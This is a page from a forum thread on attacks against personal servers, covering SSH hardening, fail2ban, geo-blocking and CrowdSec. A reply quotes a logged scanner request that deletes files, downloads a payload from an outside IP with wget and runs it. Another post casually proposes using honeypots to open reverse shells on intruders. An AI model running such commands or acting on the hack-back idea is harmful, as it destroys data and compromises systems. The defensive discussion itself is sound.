I'm surprised nobody has mentioned ssh-audit yet, so here it is: https://pypi.org/project/ssh-audit/
It's useful for helping in hardening the SSH configuration and there is also a web version here: https://www.ssh-audit.com/
Who's Attacking My Server?
201–210 of 231 posts
Re: Who's Attacking My Server?
#202I am surprised more people don't have honeypot servers. Would be very easy to lure in unsuspecting victims, open up a reverse shell, drop a payload, and extract any assets.
Re: Who's Attacking My Server?
#203Earlier quoted context omitted.
What exactly are you trying to accomplish with MAC filtering?
Have you not heard of the immensely popular man-between-the-first-hop-attack where hackers physically attach another hop between your server and its gateway?
No, I've only encountered (wo)man-unplugging-the-first-hop. It leads to a lot of dropped packets and impacts all connected peers of the first hop.
Re: Who's Attacking My Server?
#204Earlier quoted context omitted.
If fail2ban is theater, so is a firewall, so is SELinux, so are filesystem permissions (a properly configured process would only read/write the files it's supposed to, right?). If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or…
I believe the implication is that a properly configured server isn't going to allow passwords, and fail2ban isn't much more than a log size reducer when passwords aren't allowed.
Nothing wrong with a decent password.
Re: Who's Attacking My Server?
#205Earlier quoted context omitted.
Before complicating the setup even more (by adding more software), I'd opt to make sure I configure the software I already have before going down that route. Removing password login + changing the port would already remove any attack surface and make most scans not finding it at all. And if I'd still be annoyed by the amount of log items at that point, I'd add MAC/IP filtering at the firewall level before getting to…
What exactly are you trying to accomplish with MAC filtering?
I'm guessing to auth client devices (i.e this is my laptops Mac address, allow this)
Re: Who's Attacking My Server?
#206Earlier quoted context omitted.
Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login? Your approach to security has a number of issues. First, you don't know if someone is actually…
I don't think it matters if the geo-location table is correct or not. If traffic from an IP range is entirely malicious, block that IP range. If that range happens to be Chinese or from Florida it doesn't really matter, does it?
No post body was provided.
Re: Who's Attacking My Server?
#207Earlier quoted context omitted.
Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login? Your approach to security has a number of issues. First, you don't know if someone is actually…
I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly ava…
totally agree.
I can understand that limiting services is sad, but nobody has a claim either, right?
So offering to some is way better than offering to none because of overwhelming opsec work (which is still secondary to the content). If the vandals show a pattern, it's bad luck if one shows the same. And proxying should be known to those who suffer from the block.
Maybe internet has to let go the mania of offering everything to everybody all the time. Like real life.
Re: Who's Attacking My Server?
#208Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…
Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance
Re: Who's Attacking My Server?
#209Earlier quoted context omitted.
> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…
httpd is the one service I don't use fail2ban for, preferring a DIY solution instead. I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a scrip…
You could also consider https://crowdsec.net/ - it's a pretty advanced framework for detecting malevolent traffic by using a combination of local rules and threat intelligence from other users. Apache is supported https://hub.crowdsec.net/author/crowdsecurity/collections/ap....
Re: Who's Attacking My Server?
#210Earlier quoted context omitted.
Thanks, I was unaware of this---I initially (naively?) thought that being banned would at least deter some wannabe attackers. In your experience, does it do anything if I start collecting some reports on repeat offenders and notify their ISP? Or is that just more wishful thinking of my part?
As an individual your reports will likely be ignored, however if you do want to report consider contributing to a service like AbuseIPDB. It probably doesn't do much either but at least it feels like I'm doing my part to report abuse and maybe some ISPs will choose to act on it.
That's one of many reason why https://crowdsec.net/ was created. It collects (anonymized) threat intelligence from all users, vets it and distributes it as relevant blocklists. Once there's enough users it will be a very effective way to fight bad guys. And unlike your suggestion it DOES make a difference. Currently around 800k signals are collected daily and around 19k vetted malevolent ips are distributed to users on a daily basis.